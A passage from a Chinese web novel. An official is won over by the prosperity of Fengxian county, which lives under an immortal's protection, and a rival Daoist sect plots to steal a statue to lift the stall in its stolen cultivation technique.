对于她们这样普通百姓来说,冬日里的一抹亮光属实难得。 大部分人家根本没钱使用贝母,琉璃等物制作而成的窗户,为了御寒,大都会在冬日里将屋内的窗户钉死,且大部分百姓冬日没有活计可做,身上穿的也不保暖,只能龟缩在黑黢黢的屋内猫冬,熬着,数着日子等待寒冬过去。 冬日的阳光对于她们实在是奢侈,大部分时候,百姓对于冬天的记忆是寒冷,黑暗,漫长,而非富贵人家对于雪的描绘,对于冬日赏梅等活动的描绘。 如今坐在马车里,暖和,又算不得拥挤,不少人均是痴痴望着窗外,看着外面白茫茫的一片雪,发出一点微弱的惊呼。 和先前那些人一样,这些人大部分是这辈子从未离开过家乡的人,初次乘坐马车便要行驶六七日,除了担忧外便是纯粹的兴奋。 再加上以往不曾好好看过冬,几乎所有人都是满怀热情,除了时不时看着窗外发呆,又会互相和一个车厢里的人相互交谈,享受着难得的温暖又悠闲的时光。 车子行驶时会将松软的雪压出“咯吱咯吱”的声响,车辙一条条延伸开来,像是众人对未来千丝万缕的期待一般,在这雪地里开出花来。 风仙县。 张绯总算是和那位新知州大人——方大人共行至目的地。 一路上,他和杨舒共坐一辆马车,为了赶路,队伍三日不曾歇息,全速赶往风仙县。 张绯本以为这知州大人会不愿意带他前往风仙县,至少也会想办法拖延他几日,但是让他没想到的是,对方很顺畅的同意了,且在知道他想赶路时也欣然同意。 实际上是方知意也得回去风仙县处理陈京行的后续问题,且除了这件事外,她还需要将风仙县一些工作再重新安排一番,张绯想要赶路,倒也合了她的意。 等一行人来到风仙县后,张绯敏锐察觉,这风仙县居然还有不少人在排队入城? 杨舒也看到了这队伍,本以为是上次他看到的流民入城,但转念一想,也不对啊,自从风仙县将整个明州都打下来后,流民便不需要再费劲巴拉的赶往风仙县了,毕竟先前风仙县的人口其实便处于过饱和状态,如今整个明州都是仙师庇护之地,何必再专门跑到风仙县呢? 再说了,原先大部分流民都是来源于明州境内,只有很少一部分属于幽州边界和黎州边界的流民,这便是说不通了。 杨舒凝神屏气仔细去看这行人,发现这行人穿着不算的体面,但也称得上相对干净,脸庞带了些赶路的疲惫,但眼睛里亮得和星子似的。 这状态不像是流民。 而张绯则是蹙眉去看这些人,而后便察觉,这些人竟然来自黎州元城,毕竟那口音做不了假。 第307章 摊牌 元城的百姓为何会出现在此地? 张绯百思不得其解,但依旧忍住了询问的念头,而是在扫过入城的马车一眼后,便收回了目光。 也是运气不错,本以为他们会在另一个城门入口进去,结果最后竟是和这些来自元城的百姓一起进来。 因他们一行人是和方大人一起进来的,所以只是接受了简单的盘查便进来了。 张绯也得以仔细打量这些来自元城的百姓。 马车缓缓行驶,他掀开窗帘,注视着外面的人群。 这些人还正在一个个接受检查,但等过了这检查后,众人稍微放轻松。 等通过城门后,看到的便是有人过来接应这些人,张绯路过时听了对方说了几句话,很快便猜测出这些人的身份——是当初被派出去的匠人们。 本以为这些人或许会遭遇不测,亦或是在风仙县干苦力活,拿一点钱,但现在看来,这情况可是和传言中说得一点都不同。 张绯往日基本上将所有精力都投入官场,对于民间消息属实是没那么关注了。 他对于民间的了解,其实早有误差,大多时候的认知还处在好几年的黎州地方情况。 前些日子,他仅仅是听过不少匠人被派往风仙县做活,但更具体的消息他就不曾多关注了。 谁也没想到,今天倒是亲眼看到了这一幕。 因还处于春节假期,工厂都不上工,所以这些人才有时间过来接应家人。 早在家人来之前,他们就租了房子,如今便是帮忙拎着行李,赶快带人回住的地方。 张绯眼神很好,能清楚地看到这些人表情不是麻木,而是带着一种让他不解的希冀。 来接应的人们看着明显要比元城的人更强壮一些,脸庞带着健康的红润,看起来完全不符合所谓的当廉价劳工那副说辞,倒像是在风仙县过得极好,而后这才让家人一并搬来。 马车的速度不慢,很快便将那些人甩在身后,张绯收回目光,一时间语塞,心下泛起浓厚的荒谬感。 总之在张绯的认知中,这种事是绝对不可能出现的。 他几年前在黎州边境小县呆过,那会可能要比现在好一些,但当时的百姓看起来精神面貌也是远不如刚才他所看到的。 怀疑逐渐上升,与此同时,张绯难得生出好奇,而后这点好奇又被死死压住——不管事实真相如何,他应当做个合格的家中顶梁柱,而非肆意妄为,落得和当年一样的悲惨下场。 当初若不是他狠下心回了元城,如今不说自己,家中人定会在去年的大灾中纷纷饿死。 想到这点,张绯勉强收回目光,告诉自己不可过度在乎。 将眼神往前看去,张绯便注意到这风仙县的道路宽阔异常,隐隐有几分比元城还要开阔大气的错觉。 等到低头一看,果然不出所料,这风仙县也是满城铺设了三合土,且相比于云城铺设得更多。 几乎算是全面覆盖。 他们一行人来的时候正是风仙县点燃沼气灯的时候,满城亮如白昼。 四处还挂着各种春节装饰,看上去俨然像是一座不属于人间的模样。 饶是张绯早有心理准备,但此刻还是觉得心理准备做少了 全城铺设三合土,再加上几乎每条路都配备上了昭华灯,这下来得多少钱? 尤其是昭华灯,这东西他参加过宴会,知晓一盏灯价值不菲,就算是现在价格相对以前低了,但在元城市场上依旧卖得火热。 且方才张绯注意到,这里的昭华灯灯罩竟然是用琉璃所制,无形中造价又高了不少。 这方大人到底是如何赚钱的?怎么会有这么多钱用来配置基础设施? 不过修路能理解,但花重金配置昭华灯是否过于奢侈? 除非这灯本就是这里产的。 张绯脑内闪过一则最可能的猜测,脸上虽说还云淡风轻,但实际上,则是心惊肉跳 若真是此地产的灯,在结合那几位的态度明显,这明显不像是知情的,说明风仙县的势力已经逐渐深入黎州,而且在众人不知不觉时慢慢渗透下来。 别的不说,光是这灯便能弄到不少钱。 一通百通。 张绯很快便回忆起了前几日在住处使用过的马桶。 那物和元城的流行马桶也很是接近,原以为是赶时髦,也给招待的房间弄了个马桶而已,结果结合这满街道的灯一看,恐怕并非如此。 想到最近元城时髦的新奇物品,张绯立即在脑海里过了个遍,而后更加仔细的查看外面,直到看到新的线索。 ——洁白如雪的细腻砂糖,一旁的细盐也赫然陈列 这两样如今在元城也很火热,稍微过得不错的官员家中都开始使用这两样了,卖相好,味道也好,总归是待客最讲究的,最高等级的调味料。 张绯眯着眼睛,看清楚那一旁的价格后,心内的怀疑逐渐转为五分确定。 错不了,同样的品质,这里卖得竟然如此低廉,尤其是细盐只卖两文钱一斤,这价格他就算是做梦都不敢想。 若非产地,从哪儿能拿到这么便宜的货? 要知道如今粗盐的拿货价也是要高于这价格的,更何况细盐? 白糖更不用说了,原材料费劲,工艺本身也难,物以稀为贵,所以白糖在元城价格很是高昂,算得上奢侈品的存在,而在此地,不过是人人都可买得起的普通调味料。 马车前进速度很快就掠过那两家店,再一晃神,张绯便看到了好几家专门售卖奇珍异宝的店铺,而靠着良好的视力,他看到了如今元城炒得正火热的镜子,琉璃制品等物,个个制作精良,且看着甚至要比元城卖出天价的那些东西还要精美独特。 连续打击下来,张绯早就震撼非常,面色勉强保持平静,背后不自觉濡湿内衬。 按道理,此行主要是带他前去观看行宫建设如何,但经过先前的刺激,张绯反应过来一个事实。 行宫大概率是没建,且对方既然敢带他来这里,让他亲眼看到如今搅动黎州市场,控制上层风向,愚弄上层的人到底是谁,那便意味着对方对于收买他的信心几乎是百分百。 在猜测出对方欲行之事后,张绯一时间语塞。 他将注意力集中在过往行人身上,不出意外看到了像是存在于理想国一样的人们。 这些人在寒冷的冬日里,个个穿着干净厚实的棉衣,脸庞饱满,眼神发亮,明显在风仙县过得很好。 因人流量多的缘故,马车行驶速度下降,行人路过时,他能将对方的对话听得清楚,同时还能闻到一阵甜香味,像是某种点心。 “张氏点心铺?阿牛今年没少赚钱啊,百文一斤的糕点,如今都买得起了!”这是调侃。 那被叫做阿牛的人赶紧带笑怒骂:“去去去,你这每天赚三百文的人还过来看我的热闹。不过是因为过节,家里孩子闹腾,这才给买了。” “啧,别说的好像你家日子过得不如我家,我听说嫂子如今也找到活计了?那最低工钱也得一百文一日,往后日子怎么不是越过越好?对了,过几天隔壁县的厂子要招收新人了,一会我让我娘子去你家问问嫂子是怎么通过的?” 两人明显关系不错,阿牛点头后应下,二人继续寒暄了几句,这才离开。 而此刻,张绯还处于完全的震惊中。 最低日薪一百文?还有三百文的? 女子也能有活可做? 这听起来完全是天方夜谭,几年前世道还没这么烂时,他在黎州边境小县待着哪里听说过这些东西? 又多听了路人的对话后,张绯完全陷入沉默 学堂男女不限,背景不限,一年缴费一两即可入学 每日工作时长为四个时辰,超了有加班费,节假日加班费为三倍,更别提工厂工人福利更为完善 官府低价售出棉衣好让无人挨冻,每家每户都铺设了地暖,马桶 明明认识字,但这些话语让张绯觉得无比陌生。 甚至处于冲击中久久没能回神。 他的理智有一半在抵抗所看到的一切——这都是对方故意让他看到的,这都是对方特意画的饼,这种东西全是虚构的,压根就不可能实现,从以前到现在,不会有任何一个掌权者会这般仁慈,真的做到了这些听起来就像是讲故事一样的事。 但与此同时,内心有声音却在不断地否决他 那些人的表情不像是假的,如果是被迫做这事,被迫描述这些不存在的东西,那些百姓不会流露出如此轻松的神色,眼神是一个人最不能伪装的东西,这些人眼里都有希望。 饶是张绯冷静过人,如今也是心乱如麻。 但很快,他就回神——他在元城有家人作为把柄,即便知晓对方所图,即便知晓对方或许是个好的掌权者,即便知晓这样的世道才是他过往所图所想的世道,那他也绝不会被对方收买,不然他置家人于何地? 多年前他差点害死一家人,好不容易一切回归正轨,他不该,也不能再次动摇,重蹈覆辙。 张绯控制着自己将视线收回,手心早就被掐得发白,面庞不复淡定,反而一副面无表情的模样,看上去十分吓人。 和张绯同为一辆马车的杨舒哪敢开口说话,这会权当哑巴。 倒是方知意掀开帘子,声音清晰地飘了过来。 “张大人,你观此行宫建得如何?可符合心中所想?” 张绯猛地抬头,手心几乎要被掐烂。 他扯出一个难看至极的笑。 “张某愚昧,不曾看到行宫,还请方大人切勿戏耍张某,带张某去看真正的行宫吧。” 第308章 蹊跷 方知意毫不意外张绯会先拒绝,毕竟像他这样的人,过往曾经因为所谓的理想而被排挤流放,正是在抛弃不真切的理想后,这才重新返回元城,过上了起码像个人一样的生活。 眼看张绯拒绝得清楚,方知意将一张符纸递过去。 “这张符纸是转移符,可让你家人从家中传送到本县。且若是张大人同意的话,本县会负责安顿好你家人。” 两人都知道双方在说什么,话题跳跃得很快,一旁的杨舒早就凝神屏息,一动不动,假装没听到二人的对话。 张绯陷入长久的沉默,说话时,嗓音沙哑艰涩得仿佛不像是自己。 “这符纸真有这作用?” 若是对方忽悠他的话,他到了元城,第一件事自然是先汇报情况,而后才能返回家中,这符纸无用的话,到时候岂不是骑虎难下? 这想法很合理,方知意笑道:“这传送符纸很是难得,如今倒是不方便让你试用,但我可带你前去看看符纸制作的地方,让你亲眼看看这两样东西到底是不是一样,如何?” 张绯犹豫片刻,最终决定探探虚实。 马车很快便来到一处僻静之地,等到马车停稳后,有人小跑着过来迎接,领着方知意三人往里走。 等到进了这房子后,张绯发觉这里要比外面看上去要大,且里面有不少身穿道袍的道士,个个面色急切,像是有什么急事一样。 来往均是神色匆匆。 张绯和杨舒抬头去看,便能看到头顶有数百张符咒漂浮在空中,一楼有不少桌子,上方密密麻麻摆满了符纸,也有道士正在制作符咒,还有人三五成群,看样子是在研究着什么。 等到来到所谓的传送符纸区域后,张绯眼看着道士所画符纸和他手心捏着的这张符纸一模一样,这才算是相信了这符纸确实有用。 先前他还不太敢认,但等到中途,自然对这些道士的身份隐隐有所猜测——永道宫的道士。 他在元城时自然也和景旭宫的道士打过交道,里面的道士给他的印象很是不好,本以为道士均是如此,但张绯之后却在古书上了解到永道宫的存在。 这是个和景旭宫道义完全相反的道宫,相比于景旭宫,自然更有原则。 当初张绯记住了那永道宫的道宫符号,如今比对一番,发现这里的人身上道袍均有这符号。 于是这才确定符咒是有效的。 等到三人离开此地后,方知意还有要事要忙,倒是另外派了一人过来负责带他在风仙县再看看。 毕竟张绯也不着急返回元城,还不如四处走走,好让他更下定决心替自己好好干。 被派来的人是个姓金的娘子,人生得高壮,走过来时,张绯差点以为是个男子。 这金娘子岁数不小了,但言辞非常妥帖,这份接人待物的模样甚至让张绯生出几分错觉。 仿若此人像是过往在元城待过的训练有素的管事一样。 事实上,张绯眼光不错,金娘子以前确实担任祝府内的管事,主要负责管理祝应母亲的资产和铺子。 如今金娘子既然寻到了风仙县,又和当年的小主人相见,自然要为祝应分忧解难,因她能力出众,很快便被提拔到了合适的岗位。 在金娘子的带领下,张绯和杨舒在风仙县又转悠了一圈,二人也是更实打实的对这风仙县的了解更加深入几分。 转悠到一半时,杨舒先行告辞,说是要过去看家人。 张绯:?这对吗?什么时候开始这小使者就默认他们是一伙的了?甚至刚才对方还邀请他和他一起过去看看自家。 张绯自然是拒绝了对方的热情邀请,他觉得自己的心还没那么大,至少在没看完前,他还没做好彻底替仙人效力的准备。 是的,在金娘子的带领下,张绯总算是了解了庇护此地的仙人,了解了仙人降下的各种神果,神药,神物,了解到仙人是如何从一小村落,再到一县域,再到一州,期间种种,张绯不得不说,若非仙人,实在是没人有这能力了。 而其中最让张绯感慨不已的便是风仙县的廉政制度。 因有仙人术法约束,本县的官员个个保持廉洁,运转效率高效无比,且官场氛围好了太多。 官场不再是勾心斗角之地,而是真正的能为百姓发声做主的地方。 翻开法律所写,上面写的便是“我等均是人民的公仆,而非高高在上的官职人员,要深入人民,而非是远离人民。” 张绯心神颇为被触动。 他听过“水能载舟亦能覆舟”,但真这么执行的明君又有多少? 人性本贪,但在仙人术法约束下,反倒是将这句话落在实处。 要说他原先还有些摇摆不定,但如今在看到这些后便彻底知晓,若是日后有人能一统大炎朝的话,这个人绝非别人,而是受仙人庇护的方大人等。 且这话说得不对,按照法律所写,她们代表的并非是个体,而是背后千千万万个想要活得好,活出尊严和人样的百姓。 张绯陷入沉默,而后叹息,逐渐坚定。 ——这次希望他能赌对,希望这份光能平等的照在每一个人头上。 风仙县牢房。 陈京行早在之前便被祝应带队押送回来,关押在牢房内。 他到了牢房后几乎没有再看到过祝应,只有中途一次,祝应过来问他明州一些地区的隐秘之事时,他会毫无保留的告诉对方。 陈京行知道自己的下场,无非是死亡,但在死前,他是这么的贪心,他想再次看看那个人,看看那双眼睛,好再次回想起他们的过往。 记忆里的画面正在飞速填充上色,陈京行摇头试图驱散那副和谐得该死的画面,又心下疼得浑身发麻。 茫然,浑身充斥着一股难以言状的愤怒,恐慌和疲惫,却像孩童一样找不到发力点能将这股异样的情绪释放出去。 过去的十来年,他在离开元城后,一直以为自己是个喜欢追逐名利的俗人,但现在,他竟然说服不了自己了。 他肮脏的渴求,那些被刻意压制的东西,正无法抑制地从每个毛孔里散发出来。 陈京行觉得恐惧,他知道自己正在失控——按照他恶劣的性格,他早该在对方提出问题时给个错误答案挑衅蒙骗,欣赏着对方愚蠢的轻信,等到激怒对方后,好痛快求个死亡解脱。 但这不能怪他,祝应很聪明,她和那些能被轻易骗过去的人不一样。 他只是无计可施而已。 但内心有个声音在嘲笑他。 真的无计可施?还是只想假装无计可施? 闭嘴,他只是欣赏聪明人而已,而她是天才,这很符合他的逻辑。 但他却不自觉想到多年前的那晚。 她在湖心亭看雪。 而他那晚在看她。 那晚的雪他早就没了印象,而祝应的模样却被他深深烙印在心底。 但陈京行清楚地知道,无论是过去还是现在,他从来不会和对方站在一起 景旭宫。 先前前往幽州给虞姚处理烂摊子的风侯不见多日,而同样的,带着关门弟子前不久离了宫的迎风也消失了。 一下少了两位长老,尤其还是多日不见的,自然是异常惹人注意。 其中风侯的魂灯还不曾熄灭,而迎风的魂灯早就熄灭了。 原先景旭宫的宫主正处于闭关状态,并未前去查看魂灯,这也是陷入了思维误区——景旭宫戒备森严,若是待在宫内安全定能保证。 若是出了宫门,即便是要出事也是些技艺不精的弟子们,而非是长老们才对。 且最为重要的是,当初每个长老手中都有配备求救符咒,此符咒但凡点燃,便会瞬间将求救信息通知到每位长老手上。 虽说景旭宫宫内较为冷漠,但那也得看谁。 譬如宫内长老十分有价值,如是不幸损耗一位,对于整个景旭宫来说都是不可避免的损失。 所以为了避免丧失宫内的强悍战斗力,这求救符咒的重要等级是最为优先的,哪怕是闭关,也能收到求救。 但为何这迎风不曾用求救符咒? 是敌人太强悍,还是说大意被偷袭? 景旭宫宫主开始调动秘法,试图回溯过往,查看出这两人的行踪。 但很可惜,迎风的行踪消失在了明州,之后像是有一层厚厚的雾遮挡了他的神识,让他无法利用秘法看清楚。 至于这风侯,他倒是看到的消息多一些。 知晓风侯背后势力倒塌,且被陌生人带走后,他难免脸色阴沉。 ——风侯虽说没了幽州作为势力,但好歹也是宫内花了大价钱培养出来的。 岂容这人随意将他带走? 等到追踪那陌生人直到一处后,眼前所看画面顿时开始一片雾蒙蒙——这是被更高于他的存在屏蔽了神识。 两位长老都遭遇毒手,且他并未从中看到丝毫有价值的情报,宫主的心情可谓是差到了极点。 如今门外有长老求见,说有要事相谈。 等到人进来后,便听对方说这《青梧引》功法似乎有些问题。 “宫主,这功法先前修炼时速度实在是快,等到后期,你我都知道开始逐渐变得难以提升。 当初我只以为是功法特性而已,毕竟这修行之路也是困难重重,哪有一劳永逸的办法。 结果这停滞期一停便是好几个月” 宫主听得有些烦了,他知道这些事,看宫主略微不耐烦,眼前的长老这才说出了今日最大的坏消息。 “这停滞期整个宫内都存在,所以便被我等忽略了过去,今日有弟子汇报,说是那永道宫的小畜生竟然不曾存在这样的停滞期,此事实在是蹊跷啊!” 第309章 同一人 《青梧引》有停滞期这几乎是宫内共识了,但如今竟然告诉他们,这功法不对劲? 宫主脸色一变,让长老将此事细细道来。 因此事涉及极广,长老立即从头说起。 大概便是有一弟子偶遇了那被俘虏的永道宫小道士,起初没太在意,但却意外发现这小道士修炼的速度竟然比他快,且更为恐怖的是,这小道士的修炼层级竟然要比他高一个境地。 这绝不是天赋的因素,毕竟他们都知道,原先这小道士被俘虏过来时,修为等级还在他之下呢,在普遍性修为停滞期间,这小道士却能对这条规则熟视无睹,如今境地竟然比不少原先高于他的人要高 震撼之后,这宫内弟子敏锐察觉到这其中或许有什么不可知的风险,毕竟这弟子是《青梧引》来源的知情者,如今突然有这样重大发现,绝对值得上报。 于是这消息便这样一层通一层,来到了宫主的耳里。 “宫主,依我看,这小畜生当初压根就没给我等说全了修炼要求,如今这才导致了我等修炼停滞,不若我等立即前去,将那最为重要的部分再次问询出来才是。” 景旭宫宫主面上不显,但实际上,心底微微生出了点不妙来。 ——不可能,当初用的是本宫秘法,但凡是中了此秘法的人,不可能会存心隐瞒,那便只有一个可能,此人也不知道那最为关键重要的一环到底是为何。 就算前去对此人兴师问罪,也无济于事。 只是这话说出来难免太打击长老热情,再加上虽说这弟子十有八九不知道,但他们可以过去了查探对方记忆,从旁观者的角度去查看当初被此人遗忘的记忆,看看到底是哪里出了错。 “先去看看那小道士。” 宫主先行开口,长老也不再说些什么,等到二人去了软禁小道士的山头后,发现这小道士确实如同手下弟子所说,相较于先前修为提升了不少。 若是按照《青梧引》的停滞期来看,此人若想达到当前修为,那便是停滞期压根就没存在过,这才能这么顺利。 眼看景旭宫宫主前来,原属于永道宫的弟子忙紧赶慢赶过来试图谄媚,但景旭宫长老没给他这个机会,几乎瞬间,便将他压制在地,掐着他后颈的手恶狠狠的,几乎要捏碎他脖颈狞笑。 “你个小畜生,本道宫不曾亏待过你,给你资源,给你修炼的机会,你竟敢在那功法一事上有所隐瞒,我看你是活得不耐烦了。” 小道士本来就处于懵逼状态,这会又被掐得快要断气,只顾着翻白眼,嘴里发出“嗬嗬”的声响。 景旭宫宫主先挥挥手,下狠手的长老这才不情愿的后退——等问出那最重要的一环后,他定要好好教训这小畜生一顿,说到底还是给的好脸太多了,这才让对方敢说谎隐瞒。 要知道这停滞期可是好几个月,修行之人的时间每分每秒都是如此珍贵,这好几个月能够他修炼不少了。 被松开的小道士立即狼狈喘气,手刚扶稳地面便被人踩住。 抬眼看去,正巧和宫主对视。 景旭宫宫主的眼神很是可怕,蕴含着杀意,但这杀意很快便被收回去。 而后便见此人抬起他的下巴,眼内幻化出层层叠叠的莲花来。 是宫内秘法,此秘法要以燃烧寿命为代价,查看记忆。 普通的搜魂术他暂且不能用在这小道士身上,毕竟目前他的价值还有,若是被搜魂术搜成了傻子,日后便是彻底废了。 若是以前的话,这查看记忆的活有专门的长老去做,但那未早就死了,如今只能由他顶上了。 唯一的好处就是,这以燃烧寿元为代价的白莲秘法可勘破一切虚妄。 但消耗的寿元也是异常恐怖的,这便是当初他为何不轻易动用此秘法的原因。 不过眼下《青梧引》的重要性不言而喻,这可是他修炼的功法,可是整个宫修炼的功法,若是有重要的点没能梳理清楚,日后不仅仅会修为处于停滞期,恐怕还会造成更多更不可测的影响。 两者相较取其轻。 于是还是动用了白莲秘法。 很快,透过仿若迷雾一样的记忆,他作为旁观人,冷眼看着这小道士当初学习《青梧引》的那一日。 等到迅速看完对方记忆,第一时间他就发现,功法的学习没有任何问题,这小道士确实是怎么学的便怎么教的。 因秘法燃烧消耗的寿元太恐怖,景旭宫宫主迅速从对方脑内退出去,而后将这段记忆提取出来,反复观看。 当然,观看记忆时,一旁的长老也处于观摩状态。 两人看了三遍,总算隐约发现了问题。 “莫非是一开始的跪拜行为?” 长老率先提出疑点,毕竟刨除功法本身修炼方式并无差别,看来看去,只有这小道士当初跪拜祖师爷这一步有问题了。 宫主蹙眉——远古时期,确实有听过学习某功法前,要先归顺于对方门下,当初神灵的权柄很大,只有归顺于对应的神门下,这才算是一个受庇护的状态。 但都过了这么久了,这套说辞还能有用? 且对方拜的也并非是什么远古神仙,而是永道宫莫名其妙的老祖宗而已。 按道理来说,如今的灵气很微弱,应当是不存在这样强悍的链接才对 但确实如同长老所说,看来看去,只有这一处最为可疑。 难道是因为他们不曾归顺,所以这《青梧引》便只能学习一小部分便失效了,这就相当于是一种防盗手段,防止别人偷学。 这手段倒是精巧,即便是功法泄露,若是不曾归顺于对应的仙,即便幸运学了,最终也会被拦在门外。 宫主冷笑——对别人或许能拦在门外,但对于他们景旭宫,就算是竖起了围墙,他们也会将围墙打碎,而后顺利继续侵入。 按照他的猜测,这应当是学习《青梧引》前的某种仪式,仪式的关键可能就是那座所谓的永道宫老祖宗雕像。 若想尽快解除这阻滞之感,恐怕只有两种办法。 一是将雕像抢走,带回来让全宫的人完成功法最重要的一步,二便是他们潜入那里,趁机用对方的雕像,好破除功法的禁锢。 两种方式,对于他们来说,自然优先选择一。 二方案是无奈后的办法。 既然确定了选项一,很快,景旭宫内便开始紧锣密鼓的开始筹备计划。 与此同时,远在永道宫的仇师祖察觉到了一股异样的情绪。 经过推衍,他能隐约察觉到某些不对劲之处。 负责看守景旭宫情况的弟子很快开始深入,而后将打探出来的情报传递回去。 等知晓对方开始怀疑功法后,仇师祖乐了。 总算是开始怀疑了,为了日后的计划,他们必须要再次成功欺骗对方一次。 同时,景旭宫也派人前往永道宫查看,与此同时,永道宫内的间谍总算是传递出来新消息。 话说,这段时间,永道宫不知道是如何做到的,将他原先插入其内的间谍拔了大半,其中还有零星一两个间谍还在发挥作用。 要培养一个间谍十分不容易,也不知道永道宫是如何清理门户清理得这么干净的? 事实上,清理门户倒不是仇师祖搞的,而是姜定闲来无事,在点开永道宫后,发现宫内有不少红名。 他便挨个将这些人全部点了点,让永道宫将这些人压制住而已。 后续的结果便是永道宫额外多给了不少符咒作为谢礼,而姜定美滋滋的以为这玩意纯粹是支线任务。 阴差阳错下,竟是将永道宫内藏着的间谍清洗干净。 当然,清洗干净不如留下一两个传递错误情报来得更有用,于是这段时间,景旭宫拿到的消息,绝大部分都是永道宫故意透露出来的假情报。 而景旭宫倒是就这样信了——主要也是迷惑性太强,大部分间谍都被铲除,单独留下来的间谍说的话更有信任度。 从景旭宫的角度来看,永道宫能将自己安插进去的钉子拔得这么干净就已经很变态了,不可能有人会做到全部将间谍清除干净,所以之后对于幸存的间谍情报,景旭宫自然相信的情绪大于怀疑。 按照间谍所说,永道宫会在十天后有一场祭祀,需要他们将那雕像搬回去,好祭祀一番。 雕像被存放在珍贵的空间道具内,且此次行动,大部分都是宫内老手参与护送,俨然一副严密防守的模样。 越是这样,景旭宫几人便越是觉得这雕像便是最为重要的,可以解自身限制的存在。 ——必须要快些抢走雕像,完成那最为重要的一环,不然这停滞期恐怕会变成暂停期! 事实上,只有永道宫几位大能才知道,这可不是暂停期,而是等待燃爆的平稳期。 除了参考从永道宫传递回来的情报,景旭宫还派人四处打听永道宫的情报,后来竟是阴差阳错,发现那庇护明州的神仙模样和那雕塑一样 所以说,两者是一个人? 景旭宫宫主蹙眉,手心快速翻阅过桌面上放着的画本子,故事本,戏曲。 上面大都写着这位仙人如何英勇神武,如何宽容心善,总之就是大写的两个字,高尚。 他本是很不信这些东西的,大部分这些故事都是用来骗取百姓信任,负责愚弄百姓的。 像这样类似的玩意,他们景旭宫的更多。 但在他翻阅到几个关键节点后,很快便笑不出来了。 义师军和风仙县城门一战邱老和池长老先后莫名其妙身死 风仙县和明州陈京行一战迎风魂灯灭 竟是都连上了。 第310章 野心 景旭宫宫主再仔细对比一番,赫然察觉时间上完全符合 所以说,当初这三人死得无比诡异的原因便是这突然出现的仙人? 且按照永道宫的说法,这仙人便是他们的老祖宗。 宫主表示不信——真有这样厉害的老祖宗,永道宫早就崛起了,不可能当初心甘情愿被他们吊打欺压。 思来想去,估计便是才和这所谓的老祖宗“相认”没多久。 至于其中的隐情,自然无法深追。 既如今得知那雕塑和明州境内的仙人是一人,原先的抢夺雕塑计划就要往后延一延。 首先最重要的是,这所谓的仙人大概率还存活于世,那他们即便是直接拿走雕塑,说不准之后也没用。 毕竟掌控此功法的仙人还存在于世。 原先订好的计划开始松动,景旭宫宫主很是头疼。 但没办法,只能让人继续打探仙人的相关情报,力求做出最适合的决策。 黎州元城。 张绯和杨舒二人已从风仙县返回。 往回赶路时,杨舒相较于先前的谨慎到现在的一口一个“张大人”,不过才短短一日。 当然,这仅限于私底下变得亲热了几分,面上看过去的话,两人和来的时候差不多。 除了张大人长,张大人短外,杨舒还好心分享了几个自家妻子捏的包子,说是给他吃,算是干粮。 天气很冷,马车里温暖得很,包子放不住,不如赶快吃了最好。 杨舒看张绯打算直接吃,他赶忙拦了下来。 “张大人,这炭火烧着也是浪费,不如将这包子顺带烤一烤。” 那几个包子被放在架起来的炭盆上,火焰静静的舔舐着冻得硬邦邦的包子底,很快,那包子便传来一股凝固的油脂解冻后的香味,而后那点油润慢慢浸润包子最薄的皮,看着油汪汪的。 最接近火焰的包子底被烤得发焦,多了点焦香的麦子香味。 等烤包子做好后,杨舒赶紧给张绯递过去一个,其余的靠在一边温着。 张绯谢了对方后,自己慢慢掰开包子。 是萝卜粉条猪肉馅的,杨舒妻子的手艺很不错,这包子包得又漂亮,里面馅还放得多。 一口咬下去,竟然让张绯生出一股羡慕。 他开始羡慕杨舒家人能生活在风仙县,平时安安稳稳的过日子,更让人羡慕的是,不出意外的话,杨舒应当过段时间就能找机会离开元城,彻底和家人团聚了。 到时候杨舒本人也能有一份工作,活得也轻快,这不比在元城当个小使者好多了? 当然,最主要的原因是因为杨舒这家伙,一张口就是“我娘子,我家,我父母”,大概说的都是他前几日去了后亲眼看到的东西——什么家里居然买了新房子,房价不贵,窗户用上了玻璃,里面漆得雪白,墙和地面用的是水泥,抹得光滑。 什么家里安装了热水器,一进去就能洗热水澡,平常洗漱也不用再额外烧热水了,全屋的地暖很暖和,但每个月的燃气费仅仅才一两百文,那沼气改装的炉子一拧就着火,烧水做饭可快了。 还有便是什么家中孩子上了学堂,学习也很不错,花销很小,一个孩子一年才花一两银子 总归颇有些无意识的炫耀。 事实上,杨舒实在是憋得没人说了,这事对于风仙县本地人来说算得上日常,对于初次看到,对风仙县一知半解的杨舒简直是十足新奇,如今好容易来了个和他一样投奔方大人的同事,自然话匣子便收不住了。 被迫听了一路的张绯:???这对吗 终于忍不住开口。 “杨兄。” 杨舒“咦”了一声转身看他,便听到张绯幽幽开口,语气带着淡淡的哀怨。 “大概只有圣人能在听完这些东西后不心动,你继续这样说下去,会让我怀疑自己的德行不说圣人,就算是距离普通人都还有些差距。” 这算得上是小玩笑了。 杨舒从未想过张绯竟然还会和自己开玩笑,但同时他后知后觉发现自己刚才是有些过分了。 有句老话怎么说来着,别在没有的人面前炫耀自己有的东西,容易刺激到对方。 杨舒忙道歉后乖乖闭嘴,两人总算是相安无事的度过了余后赶路的日子。 等到马车进入元城后,两人几乎是同时直起身子,掀开车帘,望着城门。 在见识过明州境内的官兵把守城门后,张绯便不自觉将这两方在脑内对比。 明州的官兵更威严负责,但对于百姓,却又不会使用暴力,胁迫等手段。 而黎州元城的官兵恰恰相反,平时工作更松懈不说,媚上欺下已然是常态了。 马车很快便被放行,直奔目的地。 没有对比便没有伤害,或许是见识到了如今的明州盛况,再次返回元城时,二人多少都有些不太习惯。 尤其是张绯,去的时候还觉得普天下大概就是在元城的百姓们活得还算可以,但等真正去了明州,他这才感觉到双方之间的差距。 衣食住行是最基础的,更高一级的便是如今的明州敢让百姓读书认字,让他们拥有思索和认知能力。 孰优孰劣,不需对比也知。 等到马车行驶到了位置,二人按照原先对好的口供,将如今明州现状大概说出。 这消息会先通报给保皇派的五人,等到由五人商讨过后,才会将合适的,适合上报的部分呈递给小皇帝。 听清楚张绯所说,五人自然要放心许多。 除了带回来消息外,张绯将方知意写下的信件也带了回来。 他不需要多说别的,这五人自有考量,说得太多反而会暴露别的。 随便赏赐了一点钱,夸了几句,将两人打发走后,五人这才开口。 “这信件所写十有八九为真。这小县令靠着供奉山神,竟然还真弄到了整个明州。” “这也说明了一件事,山神刚刚出山,急需亲近之人,不然不至于会急不可待的选择这小县令。先前我等已经对这山神卖过一次好,如今想来是在山神那边也算是挂了个号。” 其余四人嘴上同意,实际上心里想的却是自己应当是最显眼的那个,毕竟他们给得最多啊! 当然,毕竟是背着其余四人给的,五人很默契的都没互相提及此话题,而是将话题引到了别的方面。 